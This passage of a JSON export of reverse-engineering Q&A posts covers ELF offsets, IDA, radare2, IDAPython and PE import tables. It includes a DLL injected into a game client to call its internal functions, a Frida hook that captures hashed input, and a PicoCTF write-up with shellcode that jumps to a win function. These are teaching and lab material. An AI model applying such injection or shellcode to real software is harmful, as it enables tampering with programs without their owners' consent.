g_hModule = hModule;\n        DisableThreadLibraryCalls(hModule);\n        CreateThread(NULL, NULL, &amp;MyThread, NULL, NULL, &amp;g_threadID);\n        break;\n    case DLL_THREAD_ATTACH:\n    case DLL_THREAD_DETACH:\n    case DLL_PROCESS_DETACH:\n        break;\n    }\n    return TRUE;\n}\n\n\nDWORD WINAPI MyThread(LPVOID)\n{\n    int i1 = 1;\n    int i2 = 10;\n    int i3 = 10;\n    int i4 = 200;\n    int i5 = 200;\n    int i6 = 60;\n    int i7 = 0;\n    int i8 = 0;\n\n\n    while (true)\n    {\n        if (GetAsyncKeyState(VK_F3) &amp; 1) //Set F3 as hotkey\n        {\n            // call GUI window (do it before login)\n            CallFunction(i1, i2, i3, i4, i5, i6, i7, i8);\n\n\n            //display text from char (do it after login)\n            //typeText(i1, \"halo halo\");\n        }\n        else if (GetAsyncKeyState(VK_F4) &amp; 1)\n            break;\n        Sleep(100);\n    }\n    FreeLibraryAndExitThread(g_hModule, 0);\n\n\n    /* another way to call function?\n    typedef void tipo(int&amp; p1, int&amp; p2, int&amp; p3, int&amp; p4, int&amp; p5, int&amp; p6, int&amp; p7, int&amp; p8);\n    void(*func)(int&amp; p1, int&amp; p2, int&amp; p3, int&amp; p4, int&amp; p5, int&amp; p6, int&amp; p7, int&amp; p8);\n    func = (tipo*)0x490C60;\n    func(i1, i2, i3, i4, i5, i6, i7, i8);\n    */\n\n    return 0;\n}\n\n//0x004067C0, pattern = (int, char*)\nvoid __stdcall typeText(int&amp; type, const char* text)\n{\n    typedef void(__stdcall *pFunctionAddress)(int&amp;, const char*);\n    pFunctionAddress pMySecretFunction = (pFunctionAddress)(0x004067C0);\n    pMySecretFunction(type, text);\n}\n\n//const DWORD DrawSkinExAddress =0x490C60;.\n//typedef void TF_DRAWSKIN(int nSurface, int X, int Y, int W, int H, int SkinId, int dX, int dY);\nvoid __stdcall CallFunction(int&amp; p1, int&amp; p2, int&amp; p3, int&amp; p4, int&amp; p5, int&amp; p6, int&amp; p7, int&amp; p8)\n{\n    typedef void(__stdcall *pFunctionAddress)(int&amp;, int&amp;, int&amp;, int&amp;, int&amp;, int&amp;, int&amp;, int&amp;);\n    pFunctionAddress pMySecretFunction = (pFunctionAddress)(0x490C60);\n    pMySecretFunction(p1,p2,p3,p4,p5,p6,p7,p8);\n}\n</code></pre>\n\n<p>I can successfully inject it and run the client. When I try to call definied there function (Press F3 to do it), the client crashes. the runtime error shows up (picture presenting error: <a href=\"https://i.stack.imgur.com/8sL1m.jpg\" rel=\"nofollow noreferrer\">https://i.stack.imgur.com/8sL1m.jpg</a> ) and client crashes. I think theres problem with the method I call the functions. The addresses and variables are fine I think because if I try to do it on another random addresses the client just crash normally (app not responding).</p>\n\n<p>I have tried replacing stdcall with cdecl but nothing has changed.</p>\n",
        "Title": "Calling internal functions via dll injection - runtime error",
        "Tags": "|c++|dll-injection|call|",
        "Answer": "<p>The address I used was wrong :|</p>\n"
    },
    {
        "Id": "16815",
        "CreationDate": "2017-11-22T14:48:05.373",
        "Body": "<p>There is some DCD data in a disassembled binary using IDA as shown the image description. The binary is an ELF of ARM processor type. I want to know what are these data? Is it possible they be code which IDA could not disassembled? \n<a href=\"https://i.stack.imgur.com/vVhHA.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/vVhHA.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "DCD data in IDA disassmbed file",
        "Tags": "|ida|disassembly|arm|",
        "Answer": "<p>That is the ELF header from your executable, and IDA is aware that there is no practical use to disassemble it as if it's <em>code</em>.</p>\n\n<p>See <a href=\"https://linux-audit.com/elf-binaries-on-linux-understanding-and-analysis/\" rel=\"nofollow noreferrer\">The 101 of ELF Binaries on Linux: Understanding and Analysis</a> in case you don't know what an \"ELF header\" is or if you want to know the meaning of every single byte in the header you show.</p>\n\n<p>More generally speaking, IDA automatically tries to determine what parts are code and data, but it may fail on both. Data that gets treated as code will usually contain undefined bytes \u2013 these will appear as literal <code>dcd</code> bytes among seemingly valid disassembled instructions. (And on close inspection, those \"instructions\" are usually nonsensical.)</p>\n\n<p>Code that gets treated as data is more difficult to spot, especially if there are no obvious references into it. With sufficient experience, one may be able to recognize certain hex sequences as \"most likely code\"; in that case, instruct IDA to disassemble such a sequence and see what it produces.</p>\n"
    },
    {
        "Id": "16832",
        "CreationDate": "2017-11-24T23:41:43.803",
        "Body": "<p>An android app loads a native library (<code>.so</code>) using <code>System.loadLibrary</code>. It then calls a specific function, which takes 3 input variables, and returns a string containing a MD5 hash. </p>\n\n<p>You can see the relevant part of the function below:</p>\n\n<p><a href=\"https://i.stack.imgur.com/JUja5.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/JUja5.png\" alt=\"enter image description here\"></a></p>\n\n<p>I want to be able to see the original, \"unhashed\" message (which is of course derived from the 3 input variables), instead of it's md5 hash. Is this possible in any way?</p>\n",
        "Title": "Inject code into JNI function (Android shared library)",
        "Tags": "|android|arm|shared-object|",
        "Answer": "<p>You can use <a href=\"https://www.frida.re\" rel=\"nofollow noreferrer\">Frida</a>.</p>\n\n<p>Frida is a dynamic binary instrumentation tool that allows you to intercept, trace, modify, ... of a running application using a JavaScript debugging logic.</p>\n\n<p>For your purpose, you need to hook the <code>MD5_Update</code> function using the <a href=\"https://www.frida.re/docs/javascript-api/#interceptor\" rel=\"nofollow noreferrer\"><code>Interceptor</code></a> API.</p>\n\n<p>The JavaScript code may look like the following. [Warning: Untested]</p>\n\n<pre><code>// Use the mangled form of name MD5_Update below\nInterceptor.attach(Module.findExportByName(\"mylib.so\", \"MD5_Update\"), {\n    onEnter: function (args) \n    {\n        var ptr_data = args[1];\n        var length = args[2];    \n\n        var data = Memory.readByteArray(ptr_data, length);\n        console.log(data);\n    }\n});\n</code></pre>\n\n<h3>Further reference:</h3>\n\n<ul>\n<li><a href=\"https://11x256.github.io/\" rel=\"nofollow noreferrer\">https://11x256.github.io/</a></li>\n<li><a href=\"https://www.notsosecure.com/instrumenting-native-android-functions-using-frida/\" rel=\"nofollow noreferrer\">https://www.notsosecure.com/instrumenting-native-android-functions-using-frida/</a></li>\n<li><a href=\"https://enovella.github.io/android/reverse/2017/05/20/android-owasp-crackmes-level-3.html\" rel=\"nofollow noreferrer\">https://enovella.github.io/android/reverse/2017/05/20/android-owasp-crackmes-level-3.html</a></li>\n</ul>\n"
    },
    {
        "Id": "16837",
        "CreationDate": "2017-11-25T18:31:40.590",
        "Body": "<p>PicoCTF 2017 Shells\nI have a binary and source:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;sys/mman.h&gt;\n\n#define AMOUNT_OF_STUFF 10\n\n//TODO: Ask IT why this is here\nvoid win(){\n    system(\"/bin/cat ./flag.txt\");    \n}\n\n\nvoid vuln(){\n    char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);\n    if(stuff == MAP_FAILED){\n        printf(\"Failed to get space. Please talk to admin\\n\");\n        exit(0);\n    }\n    printf(\"Give me %d bytes:\\n\", AMOUNT_OF_STUFF);\n    fflush(stdout);\n    int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF);\n    if(len == 0){\n        printf(\"You didn't give me anything :(\");\n        exit(0);\n    }\n\n    void (*func)() = (void (*)())stuff;\n    func();      \n}\n\nint main(int argc, char*argv[]){\n    printf(\"My mother told me to never accept things from strangers\\n\");\n    printf(\"How bad could running a couple bytes be though?\\n\");\n    fflush(stdout);\n    vuln();\n    return 0;\n}\n</code></pre>\n\n<p>The goal is to call win() function.</p>\n\n<p>So: \ngdb ./shells\nI have address of win function: 0x08048540\nthen i create shellcode:</p>\n\n<pre><code>section .text\n    global _start\n_start:\n    mov eax,0x08048540\n    jmp eax\n\nsection .data\n</code></pre>\n\n<p>after compile an use sehllcode i have the flag.\nBut when i compile source code instead of using given binary:</p>\n\n<pre><code>gcc -m32 -fno-stack-protector -z execstack shells.c -o shells2\n</code></pre>\n\n<p>This not works anymore, segfault all the time.\nWhy with binary file my method works and with compiled source manually not working?\nPS. Flag is in the right place.</p>\n",
        "Title": "Shells CTF segfault - wrong address",
        "Tags": "|disassembly|assembly|binary-analysis|compilers|gcc|",
        "Answer": "<p>I think your shellcode is missing the specifier for the bit-ness of the shellcode. You're compiling the <code>shells</code> in 32 bits, but for the <code>nasm</code> (I'm assuming you're using that) doesn't have anything. I'm assuming you're compiling in <code>bin</code> mode and if you check the <a href=\"http://www.nasm.us/doc/nasmdoc6.html\" rel=\"nofollow noreferrer\">documentation</a></p>\n\n<blockquote>\n  <p>...the bin output format defaults to 16-bit mode in anticipation of it being used most frequently to write DOS .COM programs, DOS .SYS device drivers and boot loader software.</p>\n</blockquote>\n\n<p>So what you need to do is:</p>\n\n<pre><code>[BITS 32]\nsection .text\n    global _start\n_start:\n    mov eax,0x08048540 ; need to put correct address here of course\n    jmp eax\n\nsection .data\n</code></pre>\n\n<p>..compile &amp; voil\u00e0</p>\n\n<p><a href=\"https://i.stack.imgur.com/1RPqH.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/1RPqH.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "16840",
        "CreationDate": "2017-11-25T22:03:44.430",
        "Body": "<p>I don't know if it is asked but, I couldn't find it anything despite <a href=\"https://stackoverflow.com/questions/35240343/unable-to-understand-a-disassembling-of-a-function\">this</a> question. Is it because of disassembler's fault? Or if it is right, why compiler generates this code?</p>\n\n<pre><code> ; int __cdecl main(int argc, const char **argv, const char **envp)\n main            proc near               ; CODE XREF: start-7Bp\n\n var_4           = dword ptr -4\n argc            = dword ptr  8\n argv            = dword ptr  0Ch\n envp            = dword ptr  10h\n\n                 push    ebp\n                 mov     ebp, esp\n                 push    ecx\n                 call    ds:GetCurrentProcessId\n                 mov     [ebp+var_4], eax ; &lt;---\n                 mov     eax, [ebp+var_4] ; &lt;---\n                 push    eax\n                 push    offset output\n                 call    printf\n                 add     esp, 8\n\n debugger_wait:                          ; CODE XREF: main+28j\n                 call    ds:IsDebuggerPresent\n                 test    eax, eax\n                 jnz     short debugger_present\n                 jmp     short debugger_wait\n ; ---------------------------------------------------------------------------\n\n debugger_present:                       ; CODE XREF: main+26j\n                 int     3               ; Trap to Debugger\n                 xor     eax, eax\n                 mov     esp, ebp\n                 pop     ebp\n                 retn\n main            endp\n</code></pre>\n\n<p>Marked lines with arrows (from IDA output) shows two <strong>MOV</strong> operations which semantically equals to nothing (or is it?). This is my source code:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;Windows.h&gt;\n\nint main(int argc, char *argv[], char *envp[])\n{\n    DWORD pid = GetCurrentProcessId();\n    printf(\"%d\\n\", pid);\n    while (!IsDebuggerPresent());\n    __asm int 0x3;\n    return 0;\n}\n</code></pre>\n\n<p>Compiled with MSVC++ (19.00.24225.1):</p>\n\n<pre><code>cl.exe dnmProg.c\n</code></pre>\n\n<p>UPDATE: I tried other options, and both /O1 and /O2 doesn't have such structure, but /Ot has same instruction pair. When I compiled it with /Os there is:</p>\n\n<pre><code>call    ds:GetCurrentProcessId\nmov     [ebp+var_4], eax ; &lt;---\npush    [ebp+var_4]      ; &lt;---\npush    offset printf_parameter\ncall    printf_\n</code></pre>\n\n<p>Thanks.</p>\n",
        "Title": "What does this instruction pairs mean?",
        "Tags": "|disassembly|compilers|",
        "Answer": "<p>The code uses this non-optimal form in order to match the original code.  It is saving the value in the local \"pid\" variable so that a debugger can see it.  Then it is fetching the value again in order to use it.</p>\n"
    },
    {
        "Id": "16841",
        "CreationDate": "2017-11-25T23:52:04.983",
        "Body": "<p>I have read <code>st_value</code> from the ELF symbol table, with the value being 4195622. When converted to hex, the value is 400580. I am aware that the file offset is 580 bytes. </p>\n\n<p>My question is how to actually convert the address to file offset concretely. </p>\n\n<p>Thanks</p>\n",
        "Title": "Address to file offset",
        "Tags": "|file-format|elf|",
        "Answer": "<p>Subtract <code>0x400000</code> from <code>st_value</code> since the address is located in the first <code>LOAD</code> segment of the binary.</p>\n\n<hr>\n\n<p>According to the System V ABI (generic), the meaning of the <code>st_value</code> symbol depends on what type of object file the binary is:</p>\n\n<blockquote>\n  <p>Symbol table entries for different object file types have slightly different interpretations\n  for the <code>st_value</code> member.</p>\n  \n  <ul>\n  <li>In relocatable files, <code>st_value</code> holds alignment constraints for a symbol whose section index is <code>SHN_COMMON</code>.</li>\n  <li>In relocatable files, <code>st_value</code> holds a section offset for a defined symbol. That is, <code>st_value</code> is an offset from the beginning of the section that <code>st_shndx</code> identifies.</li>\n  <li><strong>In executable and shared object files, <code>st_value</code> holds a virtual address</strong>. To make these files\u2019 symbols more useful for the dynamic linker, the section offset (file interpretation) gives way to a virtual address (memory interpretation) for which the section number is irrelevant.</li>\n  </ul>\n</blockquote>\n\n<p>An executable ELF64 object file linked by <code>ld</code> has a canonical base address of <code>0x0000000000400000</code> given by the linker script variable <code>__executable_start</code>. This means that one can subtract the value of the base address from the <code>st_value</code> to find its file offset.</p>\n\n<p>We can verify this by looking at a link map of an ELF64 binary. Here a snippet of the output of <code>ld -M /bin/ls</code>:</p>\n\n<pre><code>Memory Configuration\n\nName             Origin             Length             Attributes\n*default*        0x0000000000000000 0xffffffffffffffff\n\nLinker script and memory map\n\nLOAD /bin/ls\n                0x0000000000400000                PROVIDE (__executable_start, 0x400000)    &lt;--------------\n                0x0000000000400190                . = (0x400000 + SIZEOF_HEADERS)\n\n.interp         0x0000000000400190       0x1c\n *(.interp)\n .interp        0x0000000000400190       0x1c /bin/ls\n\n.note.ABI-tag   0x00000000004001ac       0x20\n .note.ABI-tag  0x00000000004001ac       0x20 /bin/ls\n\n.note.gnu.build-id\n                0x00000000004001cc       0x24\n *(.note.gnu.build-id)\n .note.gnu.build-id\n                0x00000000004001cc       0x24 /bin/ls\n</code></pre>\n\n<p>This can be further verified by examining the section-to-segment mapping of the same binary via <code>readelf -l /bin/ls</code>:</p>\n\n<pre><code>Elf file type is EXEC (Executable file)\nEntry point 0x404890\nThere are 9 program headers, starting at offset 64\n\nProgram Headers:\n  Type           Offset             VirtAddr           PhysAddr\n                 FileSiz            MemSiz              Flags  Align\n  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040\n                 0x00000000000001f8 0x00000000000001f8  R E    8\n  INTERP         0x0000000000000238 0x0000000000400238 0x0000000000400238\n                 0x000000000000001c 0x000000000000001c  R      1\n      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]\n  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000  &lt;-------------\n                 0x0000000000019d44 0x0000000000019d44  R E    200000\n  LOAD           0x0000000000019df0 0x0000000000619df0 0x0000000000619df0\n                 0x0000000000000804 0x0000000000001570  RW     200000\n  DYNAMIC        0x0000000000019e08 0x0000000000619e08 0x0000000000619e08\n                 0x00000000000001f0 0x00000000000001f0  RW     8\n  NOTE           0x0000000000000254 0x0000000000400254 0x0000000000400254\n                 0x0000000000000044 0x0000000000000044  R      4\n  GNU_EH_FRAME   0x000000000001701c 0x000000000041701c 0x000000000041701c\n                 0x000000000000072c 0x000000000000072c  R      4\n  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000\n                 0x0000000000000000 0x0000000000000000  RW     10\n  GNU_RELRO      0x0000000000019df0 0x0000000000619df0 0x0000000000619df0\n                 0x0000000000000210 0x0000000000000210  R      1\n\n Section to Segment mapping:\n  Segment Sections...\n   00     \n   01     .interp \n   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame \n   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss \n   04     .dynamic \n   05     .note.ABI-tag .note.gnu.build-id \n   06     .eh_frame_hdr \n   07     \n   08     .init_array .fini_array .jcr .dynamic .got\n</code></pre>\n\n<p>The first <code>LOAD</code> segment has a base address of <code>0x0000000000400000</code>.</p>\n\n<p>Compare the values in the <code>Off</code> column with those in the <code>Address</code> column:</p>\n\n<pre><code>$ readelf -SW /bin/ls\nThere are 28 section headers, starting at offset 0x1a700:\n\nSection Headers:\n  [Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al\n  [ 0]                   NULL            0000000000000000 000000 000000 00      0   0  0\n  [ 1] .interp           PROGBITS        0000000000400238 000238 00001c 00   A  0   0  1\n  [ 2] .note.ABI-tag     NOTE            0000000000400254 000254 000020 00   A  0   0  4\n  [ 3] .note.gnu.build-id NOTE            0000000000400274 000274 000024 00   A  0   0  4\n  [ 4] .gnu.hash         GNU_HASH        0000000000400298 000298 000068 00   A  5   0  8\n  [ 5] .dynsym           DYNSYM          0000000000400300 000300 000c18 18   A  6   1  8\n  [ 6] .dynstr           STRTAB          0000000000400f18 000f18 000593 00   A  0   0  1\n  [ 7] .gnu.version      VERSYM          00000000004014ac 0014ac 000102 02   A  5   0  2\n  [ 8] .gnu.version_r    VERNEED         00000000004015b0 0015b0 000090 00   A  6   2  8\n  [ 9] .rela.dyn         RELA            0000000000401640 001640 0000a8 18   A  5   0  8\n  [10] .rela.plt         RELA            00000000004016e8 0016e8 000a80 18   A  5  12  8\n  [11] .init             PROGBITS        0000000000402168 002168 00001a 00  AX  0   0  4\n  [12] .plt              PROGBITS        0000000000402190 002190 000710 10  AX  0   0 16\n  [13] .text             PROGBITS        00000000004028a0 0028a0 00f65a 00  AX  0   0 16\n  [14] .fini             PROGBITS        0000000000411efc 011efc 000009 00  AX  0   0  4\n  [15] .rodata           PROGBITS        0000000000411f20 011f20 0050fc 00   A  0   0 32\n  [16] .eh_frame_hdr     PROGBITS        000000000041701c 01701c 00072c 00   A  0   0  4\n  [17] .eh_frame         PROGBITS        0000000000417748 017748 0025fc 00   A  0   0  8\n  [18] .init_array       INIT_ARRAY      0000000000619df0 019df0 000008 00  WA  0   0  8\n  [19] .fini_array       FINI_ARRAY      0000000000619df8 019df8 000008 00  WA  0   0  8\n  [20] .jcr              PROGBITS        0000000000619e00 019e00 000008 00  WA  0   0  8\n  [21] .dynamic          DYNAMIC         0000000000619e08 019e08 0001f0 10  WA  6   0  8\n  [22] .got              PROGBITS        0000000000619ff8 019ff8 000008 08  WA  0   0  8\n  [23] .got.plt          PROGBITS        000000000061a000 01a000 000398 08  WA  0   0  8\n  [24] .data             PROGBITS        000000000061a3a0 01a3a0 000254 00  WA  0   0 32\n  [25] .bss              NOBITS          000000000061a600 01a5f4 000d60 00  WA  0   0 32\n  [26] .gnu_debuglink    PROGBITS        0000000000000000 01a5f4 000008 00      0   0  1\n  [27] .shstrtab         STRTAB          0000000000000000 01a5fc 0000fe 00      0   0  1\nKey to Flags:\n  W (write), A (alloc), X (execute), M (merge), S (strings), l (large)\n  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)\n  O (extra OS processing required) o (OS specific), p (processor specific)\n</code></pre>\n"
    },
    {
        "Id": "16844",
        "CreationDate": "2017-11-26T14:00:14.290",
        "Body": "<p>This is the stack view that I'm getting in radare2 after entering the visual panel mode:</p>\n\n<p><a href=\"https://i.stack.imgur.com/sZGof.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/sZGof.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>This is the view from immunity debugger:</p>\n\n<p><a href=\"https://i.stack.imgur.com/PGEhq.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/PGEhq.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>How can I get a view similar to immunity debugger in radare2?</p>\n",
        "Title": "How to get a nice stack view in radare2?",
        "Tags": "|radare2|",
        "Answer": "<p>You have several ways to print the stack. The specific way that you're searching for is called Stack Telescoping and you can print it like this:</p>\n\n<pre><code>pxr @ esp\n</code></pre>\n\n<p>Use <code>sp</code>, <code>esp</code>, and <code>rsp</code> according to your system.  </p>\n\n<p><code>pxr</code> stands for <strong>P</strong>rint he<strong>X</strong>adecimal <strong>R</strong>eferences, you can see its description by using <code>px?</code>: </p>\n\n<pre><code>[0x7f8a672ee4]&gt; px?\n&lt;...truncated...&gt;\npxr[j]            show words with references to flags and code\n</code></pre>\n\n<p>Here are some other options to print the stack using radare2:</p>\n\n<ul>\n<li><code>pxa @ rsp</code> - to show annotated hexdump</li>\n<li><code>pxw @ rsp</code> - to show hexadecimal words dump (32bit)</li>\n<li><code>pxq @ rsp</code> - to show hexadecimal quad-words dump (64bit)</li>\n<li><code>ad@r:SP</code> - to analyze the stack data  </li>\n</ul>\n"
    },
    {
        "Id": "16847",
        "CreationDate": "2017-11-27T04:44:58.787",
        "Body": "<p>I need to rename some memory address \"names\" in IDAPython. I'm talking about the dword_805672 formatted ones. Please see the screenshot below:</p>\n\n<p><a href=\"https://i.stack.imgur.com/L5X6A.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/L5X6A.png\" alt=\"enter image description here\"></a></p>\n\n<p>I've placed red boxes around the names which I would like to rename with IDAPython. I've searched the API docs and I came up with: <code>idc.MakeName(ea,name)</code> however, as you can see, this only placed a name in the spots labeled <code>dynamic_1</code>, <code>dynamic_2</code> and so on. I want to rename the actual operand.</p>\n",
        "Title": "How do you rename a memory address operand in IDAPython?",
        "Tags": "|idapython|",
        "Answer": "<p><code>idc.MakeName</code> should be the correct api command. I'm assuming that you did something like <code>idc.MakeName(0x123772cd, 'dynamic_3')</code> instead of doing the make name on the actual dword in the instruction.</p>\n\n<p>Something like this should be done instead:</p>\n\n<p><code>idc.MakeName(idc.GetOperandValue(0x123772cd, 0), 'dynamic_3')</code></p>\n\n<p>In this case <code>idc.GetOperandValue</code> will return the value of the zeroth operand (ie. 0x123ef5e0). That address will then be labeled 'dynamic_3' and IDA should update the UI to show the change. </p>\n"
    },
    {
        "Id": "16862",
        "CreationDate": "2017-11-29T03:30:18.987",
        "Body": "<p>I'm switching over to Radare2 from GDB mixed with peda. One of the things I love about GDB, is the <code>p</code> command. For example, <code>p system</code> prints out the address of system. As well, peda's <code>searchmem</code> function is wonderful for uses such as <code>searchmem SHELL</code>. In Radare2, I have no idea how to achieve this. I've been Google'ing to the high heavens to no avail. Does anyone know if Radare2 has this ability?</p>\n",
        "Title": "How To Print Addresses in Radare2",
        "Tags": "|radare2|",
        "Answer": "<p>To print the address of <code>system</code> export of <code>libc</code> with radare2 you can use <code>dmi libc system</code></p>\n\n<p>First you need to open radare2 and continue executing until you reach the program\u2019s entrypoint. You have to do this because radare2 is starting its debugging before\u00a0<code>libc</code>\u00a0is loaded. When you\u2019ll reach the entrypoint, the library would probably be loaded.</p>\n\n<p>Now use the\u00a0<code>dmi</code> command and pass it\u00a0libc\u00a0and the desired function. </p>\n\n<pre><code>$ r2\u00a0-d\u00a0binary_name\n\n[0xf771ab30]&gt;\u00a0dcu entry0\nContinue until 0x080483d0 using 1 bpsize\nhit breakpoint at: 80483d0\n\n[0x080483d0]&gt;\u00a0dmi libc system\n</code></pre>\n\n<p>Worth to mention here, that after the analysis (see <code>a?</code>) radare2 associates names to interesting offsets in the file such as Sections, Function, Symbols, Strings, etc. Those names are called \u2018flags\u2019. You can print the flags and their addresses with <code>f</code>. For more help see <code>f?</code> and read the <a href=\"https://radare.gitbooks.io/radare2book/content/basic_commands/flags.html\" rel=\"nofollow noreferrer\">\"flags\"</a> chapter in radare2 book. </p>\n\n<p>To know how to print different addresses and flags in different ways I'd recommend trying the <code>p?</code> command and reading the <a href=\"https://radare.gitbooks.io/radare2book/content/basic_commands/print_modes.html\" rel=\"nofollow noreferrer\">\"Printing\"</a> chapter.</p>\n\n<hr>\n\n<p>Searching in radare2, including in memory, can be done with the <code>/</code> command. You can get more help about the available search commands by using <code>/?</code>. I highly recommend reading the <a href=\"https://radare.gitbooks.io/radare2book/content/search_bytes/intro.html\" rel=\"nofollow noreferrer\">\"Search\"</a> chapter in radare2 book. See my answer <a href=\"https://reverseengineering.stackexchange.com/a/16760/18698\">here</a> for example.</p>\n\n<hr>\n\n<p><strong>References</strong></p>\n\n<ul>\n<li><a href=\"https://www.gitbook.com/book/radare/radare2book/details\" rel=\"nofollow noreferrer\">radare2 book</a> </li>\n<li><a href=\"https://www.megabeets.net/a-journey-into-radare-2-part-2/\" rel=\"nofollow noreferrer\">Exploitation using radare2</a> </li>\n</ul>\n"
    },
    {
        "Id": "16866",
        "CreationDate": "2017-11-29T13:40:32.340",
        "Body": "<p>I want to know using IDAPython if an instruction at the end of a basic block is a jump/branch instruction (like <code>B</code> or <code>JNZ</code>) and also determine if it's conditional or not. I need it in a CPU agnostic way, without relying on mnemonics.</p>\n\n<p>I cannot find how to do so by grepping in the $IDA_DIR/python directory.</p>\n",
        "Title": "IDAPython: How to check if an instruction is a conditional branch or jump?",
        "Tags": "|ida|idapython|",
        "Answer": "<p>This solution isn't 100% architecture agnostic but it is a little simpler and shouldn't be too difficult to add support for architectures with delay slots. If you are just interested whether the flow is conditional or not then you can ignore the <code>Rfirst0</code> part.</p>\n\n<pre><code>def conditional_branches_for(ea):\n    func = idaapi.get_func(ea)\n\n    for basicblock in idaapi.FlowChart(func):\n        # Insert logic here for getting branch for archs with delay slots\n        last_ea = PrevHead(basicblock.endEA)\n\n        # Get any Xrefs that are not part of the regular flow\n        if Rfirst0(last_ea) == idaapi.BADADDR:\n            print('Skipping {:#x} because it is not a branch'.format(last_ea))\n            continue\n\n        successors = len(tuple(basicblock.succs()))\n        if successors == 0:\n            branch_type = 'does not branch'\n        elif successors == 1:\n            branch_type = 'has an unconditional branch'\n        else:\n            branch_type = 'has a conditional branch'\n\n        print('BasicBlock at {:#x} {}'.format(last_ea, branch_type))\n</code></pre>\n"
    },
    {
        "Id": "16870",
        "CreationDate": "2017-11-30T12:39:29.063",
        "Body": "<p>What's the difference between the Import Table and the Import Address Table?</p>\n",
        "Title": "Import table vs Import Address Table",
        "Tags": "|binary-analysis|x86|pe|",
        "Answer": "<p>First, beside \u201cyours\u201d two tables, I introduce a <em>third</em> one, the <strong>Import Lookup Table</strong>.</p>\n<p>Side by side with the <strong>Import Address Table</strong>, these two tables look like in this simplified picture:</p>\n<p><a href=\"https://i.stack.imgur.com/dPx9f.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/dPx9f.png\" alt=\"enter image description here\" /></a></p>\n<p>This picture shows the situation in your executable file on <strong>disk</strong>. They are totally identical, with the exactly same lists of the API function names (more precisely, <em>pointers</em> to the displayed names), in the exactly same order.</p>\n<hr />\n<p>Now, the loader loads your executable and maps all required DLLs (Dynamic-Link Libraries) into your virtual memory space.</p>\n<p>After finishing it and some calculations, the loader already knows addresses of all your imported functions.</p>\n<p>So it <strong>replaces</strong> the names of your imported functions in the second table (Import Address Table) with their addresses, and the situation in <strong>memory</strong> becomes different:</p>\n<p><a href=\"https://i.stack.imgur.com/nCbGR.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/nCbGR.png\" alt=\"enter image description here\" /></a></p>\n<hr />\n<p>On the other hand, the Import Table, more precisely <strong>Import Directory Table</strong>, is a gateway to these 2 tables.</p>\n<p>It is an array (a table) of entries, one entry (a row) for every imported library.<br />\nA simplified picture of it is here:</p>\n<p><a href=\"https://i.stack.imgur.com/W6Nfl.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/W6Nfl.png\" alt=\"enter image description here\" /></a></p>\n<p>Every row consist of 5 double words (pointers). Important are only 3 of them, the first (a pointer to the ILT), the last (a pointer to the IAT), and the last but one (identifying the row by the name of DLL; so it's a pointer to the DLL's name in the fourth involved table, the <strong>Hint/Name Table</strong>).</p>\n<p>So its cooperation with other two tables looks like this:</p>\n<p><a href=\"https://i.stack.imgur.com/P4qzX.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/P4qzX.png\" alt=\"enter image description here\" /></a></p>\n<p>(I omitted the fourth table, the mentioned <em>Hint/Name Table</em> with names of all imported functions and names of all imported libraries, too.)</p>\n<hr />\n<p><strong>Note:</strong> I intentionally omitted <em>zero-filled separating rows</em> in my pictures, and I didn't deal with <em>imports by ordinal</em> (for the sake of simplicity to emphasize ideas).</p>\n"
    },
    {
        "Id": "16879",
        "CreationDate": "2017-12-01T10:22:34.650",
        "Body": "<p>I am trying to understand a hook installed by a program within the Win32 API function ZwWriteVirtualMemory.</p>\n\n<p>It seems that a jmp inside an instruction is used and I couldn't fix  it to be able to continue my analysis.</p>\n\n<p>Any help on this would be greatly appreciated !</p>\n\n<p><a href=\"https://i.stack.imgur.com/WQsmf.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/WQsmf.png\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/B30yY.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/B30yY.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Help with anti-disassembly trick inside a hooked function",
        "Tags": "|ida|anti-debugging|function-hooking|",
        "Answer": "<p>There is no obfuscation here, it is a fairly standard jump to a fixed address.</p>\n\n<p>Breaking it down:</p>\n\n<pre><code>FF 25 00 00 00 00        ; jmp  qword ptr [rip]\n68 01 4A 00 00 00 00 00  ; dq   00000004A0168h\n</code></pre>\n\n<p>The first instruction says to read the value at RIP and then jump to that address. Since RIP is already advanced past the end of the instruction, the data value is in the 8 bytes following the jump (which happens to be the value 0x4A0168). So the code that executes next is at that virtual address.</p>\n"
    },
    {
        "Id": "16893",
        "CreationDate": "2017-12-01T21:32:39.923",
